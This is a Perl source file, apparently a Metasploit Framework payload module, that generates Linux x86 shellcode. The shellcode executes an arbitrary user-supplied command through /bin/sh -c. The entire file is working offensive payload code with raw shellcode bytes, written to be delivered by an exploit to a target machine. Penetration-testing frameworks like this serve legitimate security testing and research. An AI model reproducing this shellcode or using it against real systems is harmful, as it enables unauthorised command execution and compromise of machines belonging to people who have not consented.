##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
package Msf::Payload::linux_ia32_exec;
use strict;
use base 'Msf::PayloadComponent::NoConnection';
use Pex::x86;
my $info =
{
'Name' => 'Linux IA32 Execute Command',
'Version' => '$Revision: 1646 $',
'Description' => 'Execute an arbitrary command',
'Authors' => [ 'vlad902 <vlad902 [at] gmail.com>', ],
'Arch' => [ 'x86' ],
'Priv' => 0,
'OS' => [ 'linux' ],
'Size' => '',
'UserOpts' =>
{
'CMD' => [1, 'DATA', 'The command string to execute'],
},
};
sub new {
my $class = shift;
my $hash = @_ ? shift : { };
$hash = $class->MergeHashRec($hash, {'Info' => $info});
my $self = $class->SUPER::new($hash, @_);
$self->_Info->{'Size'} = $self->_GenSize;
return($self);
}
sub Build {
my $self = shift;
return($self->Generate($self->GetVar('CMD')));
}
sub Generate {
my $self = shift;
my $cmd = shift;
my $shellcode =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68".
"\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52".
Pex::x86::call(length($cmd)+1).
$cmd . "\x00".
"\x57\x53\x89\xe1\xcd\x80";
return($shellcode);
}
sub _GenSize {
my $self = shift;
my $bin = $self->Generate('');
return(length($bin));
}
1;